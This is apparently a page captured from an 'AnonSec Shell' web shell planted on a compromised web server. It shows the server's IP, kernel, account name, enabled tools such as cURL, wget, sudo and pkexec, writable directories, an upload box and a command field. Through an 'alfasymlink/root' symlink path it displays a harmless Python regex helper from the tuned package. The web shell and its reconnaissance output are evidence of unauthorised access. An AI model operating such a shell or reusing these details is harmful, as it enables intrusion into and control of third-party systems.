AnonSec Shell
Server IP : 92.204.138.22  /  Your IP : 18.188.78.125
Web Server : Apache
System : Linux ns1009439.ip-92-204-138.us 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : internationaljou ( 1019)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/internationaljou/public_html/admin/js/BROKY_ADMIN/alfasymlink/root/lib/python3.6/site-packages/tuned/profiles/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/internationaljou/public_html/admin/js/BROKY_ADMIN/alfasymlink/root/lib/python3.6/site-packages/tuned/profiles/functions/function_regex_search_ternary.py
import re
from . import base

class regex_search_ternary(base.Function):
	"""
	Ternary regex operator, it takes arguments in the following form
	STR1, REGEX, STR2, STR3
	If REGEX matches STR1 (re.search is used), STR2 is returned,
	otherwise STR3 is returned
	"""
	def __init__(self):
		# 4 arguments
		super(regex_search_ternary, self).__init__("regex_search_ternary", 4, 4)

	def execute(self, args):
		if not super(regex_search_ternary, self).execute(args):
			return None
		if re.search(args[1], args[0]):
			return args[2]
		else:
			return args[3]

Anon7 - 2022
AnonSec Team